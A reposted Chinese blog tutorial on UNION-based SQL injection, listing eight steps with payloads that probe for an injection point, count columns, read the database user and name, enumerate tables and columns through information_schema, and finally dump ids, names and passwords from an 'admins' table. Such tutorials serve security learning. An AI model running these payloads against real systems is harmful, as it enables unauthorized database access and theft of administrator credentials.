首页 > 数据库技术 > 详细

SQL注入之联合查询注入

时间:2020-02-29 10:08:00      阅读:97      评论:0      收藏:0      [点我收藏+]

联合查询的步骤为:

1.判断是否存在注入点。

  ‘and 1=1 #

  ‘and 1=2 #

2.判断所在的数据库有几列

  ‘order by 1 #

3.判断他显示的内容在数据库的第几列

  yiz‘ union select 1 #

4.查找当前用户权限

  yiz‘ union select user() #

5.查找当前数据库

  yiz‘ union select database() #

6.查找数据库的表名

  yiz‘union select (select table_name from information_schema.tables where table_schema=‘grade‘ limit 0,1) #

7.查询数据库中表下的字段

yiz‘union select (select group_concat(column_name) from information_schema.columns where table_schema=‘grade‘ and table_name=‘admins‘)#

8.查询数据库下字段中的内容。

yiz‘union select (select group_concat(id ,0x3a,name,0x3a,pass) from grade.admins)#

SQL注入之联合查询注入

原文:https://www.cnblogs.com/wxj1711652908/p/12381506.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!